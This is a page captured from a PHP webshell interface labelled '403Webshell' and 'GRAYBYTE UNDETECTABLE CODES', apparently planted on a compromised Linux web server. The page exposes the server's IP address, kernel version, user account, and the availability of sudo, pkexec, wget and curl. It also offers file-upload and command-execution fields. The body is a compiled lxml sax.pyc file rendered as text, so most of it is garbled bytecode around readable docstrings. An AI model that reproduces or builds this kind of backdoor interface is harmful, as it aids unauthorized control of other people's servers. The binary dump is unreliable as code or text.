- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.220.102.218
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python3.6/site-packages/lxml/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.6/site-packages/lxml/__pycache__/sax.cpython-36.pyc
3

�'�YL!�@s�dZddlmZddlmZddlmZmZddlmZm	Z	Gdd�dej
�Zdd	�ZGd
d�de�Z
Gdd
�d
e�Zdd�ZdS)aI
SAX-based adapter to copy trees from/to the Python standard library.

Use the `ElementTreeContentHandler` class to build an ElementTree from
SAX events.

Use the `ElementTreeProducer` class or the `saxify()` function to fire
the SAX events of an ElementTree against a SAX ContentHandler.

See http://codespeak.net/lxml/sax.html
�)�ContentHandler)�etree)�ElementTree�
SubElement)�Comment�ProcessingInstructionc@seZdZdZdS)�SaxErrorzGeneral SAX error.
    N)�__name__�
__module__�__qualname__�__doc__�r
r
�/usr/lib64/python3.6/sax.pyrsrcCs0|ddkr$t|dd�jdd��Sd|fSdS)Nr�{��})�tuple�split)�tagr
r
r�	_getNsTagsrc@s�eZdZdZd dd�Zdd�Zeeejd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
d!dd�Zdd�Zdd�Zd"dd�Zdd�Zdd�ZeZdS)#�ElementTreeContentHandlerz/Build an lxml ElementTree from SAX events.
    NcCsLtj|�d|_g|_g|_d|_ddgi|_i|_|dkrBtj	}||_
dS)N)r�__init__�_root�_root_siblings�_element_stack�_default_ns�_ns_mapping�
_new_mappingsrZElement�_makeelement)�selfZmakeelementr
r
rr"s
z"ElementTreeContentHandler.__init__cCs
t|j�S)z=Contains the generated ElementTree after parsing is finished.)rr)rr
r
r�
_get_etree.sz$ElementTreeContentHandler._get_etree)�doccCsdS)Nr
)rZlocatorr
r
r�setDocumentLocator4sz,ElementTreeContentHandler.setDocumentLocatorcCsdS)Nr
)rr
r
r�
startDocument7sz'ElementTreeContentHandler.startDocumentcCsdS)Nr
)rr
r
r�endDocument:sz%ElementTreeContentHandler.endDocumentcCsR||j|<y|j|j|�Wn tk
r>|g|j|<YnX|dkrN||_dS)N)rr�append�KeyErrorr)r�prefix�urir
r
r�startPrefixMapping=s
z,ElementTreeContentHandler.startPrefixMappingcCs(|j|}|j�|dkr$|d|_dS)Nr���)r�popr)rr'Zns_uri_listr
r
r�endPrefixMappingFs
z*ElementTreeContentHandler.endPrefixMappingcCs4|\}}|rd|}n|jr,d|j|f}n|}|S)Nz{%s}%s)r)rZ
ns_name_tuple�ns_uri�
local_name�el_tagr
r
r�	_buildTagLs
z#ElementTreeContentHandler._buildTagc

Cs|j|�}|rri}y|j�}Wntk
r:|j�}YnXx8|D]*\}}|dr\d|}	n|d}	|||	<qBWnd}|j}
|jdkr�|j|||j�}|_|jr�t	|d�r�x|jD]}|j
|�q�W|jdd�=nt|
d|||j�}|
j|�|jj
�dS)Nrz{%s}%sr�addpreviousr*)r0Z	iteritems�AttributeError�itemsrrrrr�hasattrr1rr%�clear)
r�ns_name�qname�
attributesZel_nameZattrsZiter_attributesZ
name_tuple�valueZ	attr_nameZ
element_stack�element�siblingr
r
r�startElementNSVs0





z(ElementTreeContentHandler.startElementNScCs6t||�}|jdkr"|jj|�n|jdj|�dS)Nrr*)rrrr%r)r�target�dataZpir
r
r�processingInstructionws

z/ElementTreeContentHandler.processingInstructioncCs.|jj�}|j|�}||jkr*td|��dS)NzUnexpected element closed: )rr+r0rr)rr6r7r:r/r
r
r�endElementNS~s


z&ElementTreeContentHandler.endElementNScCs0|rtdd�|j�D��}|jd|f||�dS)NcSsg|]\}}d|f|f�qS)Nr
)�.0�k�vr
r
r�
<listcomp>�sz:ElementTreeContentHandler.startElement.<locals>.<listcomp>)�dictr3r<)r�namer8r
r
r�startElement�sz&ElementTreeContentHandler.startElementcCs|jd|f|�dS)N)r@)rrFr
r
r�
endElement�sz$ElementTreeContentHandler.endElementcCsP|jd}y|d}|jpd||_Wn$tk
rJ|jp>d||_YnXdS)Nr�r*r*)r�tail�
IndexError�text)rr>Zlast_elementr
r
r�
characters�s
z$ElementTreeContentHandler.characters)N)N)N)r	r
rrrr �propertyrr"r#r$r)r,r0r<r?r@rGrHrMZignorableWhitespacer
r
r
rrs"
	

!

rc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�ElementTreeProducerz5Produces SAX events for an element and children.
    cCsTy|j�}Wntk
r$|}YnX||_||_ddlm}||_|ii�|_dS)Nr)�AttributesNSImpl)Zgetrootr2�_element�_content_handlerZxml.sax.xmlreaderrP�_attr_class�_empty_attributes)r�element_or_tree�content_handlerr:Z
attr_classr
r
rr�s
zElementTreeProducer.__init__cCs�|jj�|j}t|d�rrg}|j�}x&t|dd�tkrL|j|�|j�}q(Wx"|ddd�D]}|j|i�q^W|j|i�t|d�r�|j	�}x(t|dd�tkr�|j|i�|j	�}q�W|jj
�dS)N�getpreviousrr�getnextr*)rRr#rQr4rW�getattrrr%�_recursive_saxifyrXr$)rr:Zsiblingsr;r
r
r�saxify�s"



zElementTreeProducer.saxifycCsx|j}|j}|tks|tkrJ|tkr4|j|j|j�|jrF|j|j�dSg}|j	}|j
�}|r�i}i}	x:|D]2\}
}t|
�}|||<||d|d||�|	|<qnW|j||	�}
n|j
}
t|�\}}|||||�}x|D]\}}|j||�q�W|j||f||
�|j�r|j|j�x|D]}|j||��qW|j||f|�x|D]\}}|j|��qHW|j�rt|j|j�dS)Nrr)rRrrrr?r=rLrJrM�_build_qnamer3rrSrTr)r<rZr@r,)rr:�prefixesrVr�new_prefixesZbuild_qnameZattribsZattr_valuesZattr_qnamesZattr_ns_namer9Z
attr_ns_tupleZsax_attributesr-r.r7r'r(Zchildr
r
rrZ�sJ

z%ElementTreeProducer._recursive_saxifycCs\|dkr|Sy||}Wn6tk
rNdt|�}||<|j||f�YnX|d|S)Nzns%02d�:)r&�lenr%)rr-r.r]r^r'r
r
rr\�sz ElementTreeProducer._build_qnameN)r	r
rrrr[rZr\r
r
r
rrO�s
+rOcCst||�j�S)zlOne-shot helper to generate SAX events from an XML tree and fire
    them against a SAX ContentHandler.
    )rOr[)rUrVr
r
rr[�sr[N)rZxml.sax.handlerrZlxmlrZ
lxml.etreerrrrZ	LxmlErrorrrr�objectrOr[r
r
r
r�<module>s|Z

Youez - 2016 - github.com/yon3zu
LinuXploit